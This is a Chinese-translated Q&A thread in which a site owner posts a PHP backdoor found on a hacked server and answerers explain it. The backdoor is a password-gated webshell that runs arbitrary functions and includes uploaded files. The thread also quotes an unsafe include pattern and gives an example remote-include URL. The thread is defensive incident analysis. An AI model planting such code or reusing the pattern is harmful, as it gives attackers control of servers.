【问题标题】:Got hacked! What does this PHP code do? And how should I avoid? [closed]被黑了!这段 PHP 代码有什么作用?我应该如何避免? [关闭]
【发布时间】:2013-12-18 09:25:30
【问题描述】:

我被黑了,显然他们正在发送垃圾邮件。他们将两个文件注入我的服务器(在所有子目录中重复)。一个是高度散列的 PHP 文件,它可能是发件人。下面的代码来自另一个文件。

这是我的问题——这是为了什么?我无法翻译它的目的。另外,我应该怎么做才能避免再次发生这种情况?

<?php

if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
    die();
@extract($_POST);

if(!empty($a))
    @$a($b);

if(!empty($_FILES['tmp_name']))
    @include($_FILES['tmp_name']);

?>

【问题讨论】:

  • 此代码允许某人将任何 php 文件上传到您的服务器并includeing 执行。他们需要做的就是提供一个密码(他们显然知道)
  • 请注意,您需要做的不仅仅是删除此文件(以及其他被漏洞利用删除的文件)。您必须堵住允许上传这些内容的原始漏洞。最有可能的是,如果您的代码中有任何文件操作或上传,例如通过$_FILES,您就有目录遍历漏洞或类似漏洞。
  • @ 表示它正在隐藏错误消息。
  • 这是一个非常糟糕的主意。您应该使用数组来定义页面名称列表以及它们可以包含的文件,否则您可能会赋予用户任意包含任何文件的能力。您在网站上是否有任何允许文件上传的表格(无论是公开的还是您认为是私人的)?这可能就是黑客在您的服务器上获取文件的方式:一种不受保护的形式。一旦他们打开了文件,那么您奇怪的 CMS 代码就可以让他们直接从浏览器中调用它们!
  • @idealizm :关于您的评论,请参阅我的回答中的 edit。是的,您创建了自己的后门!

标签: php spam


【解决方案1】:

在进一步检查之前立即重命名文件(改成 .php 以外的名称),这样任何恶意用户都无法再使用它了。

然后调查他们如何将其注入您的服务器。

在您的访问日志中,您会发现加载特定 PHP 文件的页面加载。这将是你的第一个线索。例如,调查来自同一 IP 地址的其他连接,并查看他们访问/滥用了哪些脚本。您可能会在某个地方发现您有一个过时/易受攻击的 wordpress 插件、joomla 插件等。尽快更新或删除该插件,否则您很快就会再次被黑客入侵!

此外,在检查您的访问日志时,看看他们是否上传了新的后门!也许您看到一些脚本被相同的 IP 地址调用,但不应该存在。也删除/重命名它们!

代码的作用很简单,但也很高级: 它允许密码持有者执行您可以通过 PHP 执行的任何代码。高级位是难以检测。它不使用 base64,不使用 eval 等。

编辑:

理想主义在cmets中说:

我实际上并没有在这个域上使用 Wordpress(或任何其他 CMS)——但我确实有一个 index.php 文件,它通过包含前缀为下划线的现有文件来处理各种页面的动态创建-- 所以 index.php?go=about 将包含(“about.php”)。它检查文件是否存在,如果不存在,则仅包含默认文件。我希望这足够安全。这是他们可能利用我的代码的地方吗? ` if ($_GET['go']=='') { $go = 'videos'; } 其他 { $go = $_GET['go']; } if (!(file_exists(''.$go.'.php'))) { $go = 'videos'; }

是的,可能是您的问题!您说包含的文件带有下划线前缀,但我在您的代码中没有看到...因此,如果黑客转到 index.php?go=http://hackerssite.com/hackerscode ,您最终会包含 http://hackerssite.com/hackerscode.php 代码,并允许造成严重破坏!

删除(并且绝不允许)包含直接用户输入的代码。检查$_GET['go'] 与允许的包含页面数组,或使用switch 调用include

【讨论】:

    【解决方案2】:

    似乎它正在执行一个函数,其名称是通过$_POST['a'] 给出的,其值来自$_POST['b'] 作为参数,并且包含一个通过表单上传的文件。

    所以基本上它允许用户在您的服务器上执行 PHP 文件和函数。

    立即删除或重命名此文件以避免进一步使用。

    【讨论】:

      【解决方案3】:

      这允许他们运行他们想要的任何功能,并允许他们上传文件并立即将其包含并解析为 PHP...它与您在root 之后获得的完全访问权限一样接近。这是完整的细分:

      1. 允许被攻击者确保他们是唯一能够发起攻击的人(一个简单的密码保护)

        if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die();

      2. 将所有 POST 变量作为它们自己的变量拉出来,然后传入任何函数名 ($a) 并调用它(传入 POST 变量 $b)。 - 这允许他们运行任何加载的函数(包括exec,如果你的系统允许的话)

        @extract($_POST);
        if(!empty($a)) @$a($b);

      3. 允许攻击者上传文件(任何文件)并将其自动包含在 PHP 脚本中。

        if(!empty($_FILES['tmp_name'])) @include($_FILES['tmp_name']);

      此外,每个语句前面的 @ 会抑制错误,因此如果您正在审核它,它不会显示在错误日志中。

      【讨论】:

      • 一切都很危险。 $a($b) 执行作为 $_POST['a'] 传入的任何内容
      • 如何修改这样的脚本? :|
      • @KA_lin - 我不确定我是否理解这个问题
      • @KA_lin 这是可能的,他也可能通过 FTP 获得了对服务器的访问权限,或者通过不安全的上传脚本上传了它(这不太可能是原因,因为它无处不在)
      • @KA_lin - 是的,很可能它是一个不安全的上传系统(例如,一个允许上传 PHP 脚本的 CMS,或者允许一个 htaccess 文件进入,这反过来又允许其他有效类型(gifs , 例如)被解析为 PHP...一旦他们站稳脚跟,他们通常可以获得相当大的控制权
      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2013-01-24
      • 2022-10-23
      • 1970-01-01
      • 2014-11-12
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多